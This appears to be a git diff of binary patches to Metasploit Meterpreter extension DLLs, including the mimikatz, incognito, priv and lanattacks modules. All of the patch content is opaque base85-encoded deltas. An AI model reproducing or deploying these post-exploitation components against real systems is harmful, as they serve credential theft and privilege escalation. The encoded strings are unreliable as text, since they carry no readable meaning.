b/data/meterpreter/ext_server_espia.x86.dll index 1505c8a963f8f86f187c4fe8be23d74a15d6753c..1355e550820768a52ce085762741a20326b77599 100755 GIT binary patch delta 43 xcmZoTz|(MmX9EW#v(bK+$=r;-Ovi(pqZr$x7#X)mF*5yn2@>BP{+el}2>?QA4_W{K delta 43 xcmZoTz|(MmX9EW#^UrNIlermvnOvQlqZr$x7#X)mF*5yn2@>BP{+el}2>?<>5HtV) diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 157bd6f323fc9b4ebfa44aac2d78542c5177fe53..0262601a99571b6dec93d9d4e8f02a16db4ac56d 100755 GIT binary patch delta 37 rcmZoTz}j$tb;1wk&iyVEfBQ0}OE-HlZueqjv@!q*ZErVZtkeSlA~+4; delta 37 rcmZoTz}j$tb;1wkitRQNfBQ0-ayNT1Zueqjv@!q*ZErVZtkeSl7)cFW diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll index 8e8b50e59b648cfd9a86aa770961d0a9918e7ee7..830a83fb8c9e2dc416459c412aaa2bff3f6c793b 100755 GIT binary patch delta 33 ncmZp;z|wGmWdS3z!G4#?%#6NFj<uVE7@hur_?xHy&C~(_$rucH delta 33 ncmZp;z|wGmWdS4ew{13)nHhbV_U3F3Vs!cg;%}b*H&Y7$=Bo}( diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index f4ad5e7664717755016989552df2dff3664be713..a14a65b3693f04d2c96b7ae2d742cd4f68d2263b 100755 GIT binary patch delta 46 xcmZqp!Q1eIcL5{wr2Q_FnHhbV3ZFLzF}4RWf-uweAV%g(av-_w>I%#^qXCC&57__! delta 46 xcmZqp!Q1eIcL5`F^LCrb%#6NF&exlR7~6vwL6~WK5F_&?Igs3Tbp_^|(ExiB4_yEN diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll index 1085fa4b23db08b8c7a912b8ccb77dc816b50d3e..bb178b592eadd317d437e881f3bbaca62dd92445 100755 GIT binary patch delta 43 xcmZqJz}>Kcdjkg}v-y6P$=r;-Omhx3M=`cXF*0tCVr23v1&ME8Ud9xe2mm%74jKRe delta 43 xcmZqJz}>Kcdjkg}Gvjuf$=r;-ObVNtqZr$x7#X)mF*13Tg2cBkFJp>K1OOd24FUiF diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 5e09931d5b27ce8aa95775d132220a174463d5b8..a62edf68dc81c9304e50b58864edee704cdc0f73 100755 GIT binary patch delta 90 zcmZozq1doOaRDRq>HRK~nHhbV*4Q=&F}4RWf-n;hGXpUT5VLL%Vq_E76ScH5G`2D| gWPpO;)B*(~^Y%J@w(WKL>}GR7=4{`7n%%Pl0AL{)<^TWy delta 90 zcmZozq1doOaRDRqx$QQSnHhbV=4v+wF}4RWf-n;hGXpUT5VLL%Vq_E76E(LoFtjqV gV1R<))B*(~!}dCTw(WKL>}GR7=4{`7n%%Pl08y?OqyPW_ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll index ebc779e1db5c31b7072703a233979e023c61bc3c..bca5cc3611bd0fc3617c66fd95c974eff9791ba1 100755 GIT binary patch delta 75 zcmZozBH6G+a)SUPbMAhZ$-<1jOo#27lNj5R7(ti`h?%!1F|r&!B4}x4Xk=w*$p8ew YsRar~=G)DVvFQB->D!*ZpLOOW0A1x5j{pDw delta 75 zcmZozBH6G+a)SUPbKrKH$-<1jOihZ-NsR4Dj3CSe#LU~17+DS<5j3+hwX`xaWB`KT a)B*(~!|i6rSoD4}2W+?5p1z-T<|F_-Ocv7s diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index 4e7190f925c165ca62117657a762b93fd9152d8d..2f10f3d45c1efb5ee790356b233fe7d5fe17ea30 100755 GIT binary patch delta 28543 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 